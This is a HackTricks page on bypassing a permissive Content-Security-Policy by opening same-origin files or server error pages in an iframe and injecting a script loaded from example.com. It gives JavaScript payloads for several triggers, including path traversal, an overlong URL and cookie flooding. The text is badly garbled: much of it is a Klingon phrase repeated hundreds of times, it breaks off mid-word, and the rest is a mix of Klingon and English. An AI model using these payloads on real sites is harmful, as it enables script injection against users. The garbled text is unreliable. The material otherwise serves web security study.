11 KiB
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
A configuration such as:
Content-Security-Policy: default-src 'self' 'unsafe-inline';
Via Text & Images
tlhIngan Hol:
Qapla'! jatlhpu'wI'vam vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlh
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
QaD Errors
QaD, qar'a'pu'wI', je 'oHbe' typically come without CSP headers je images, text files, 'ej X-Frame-Options. QaD be induced to load within an iframe, allowing for the following actions:
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
Translation:
DaH jatlh:
Translation (Markdown):
After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
References
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.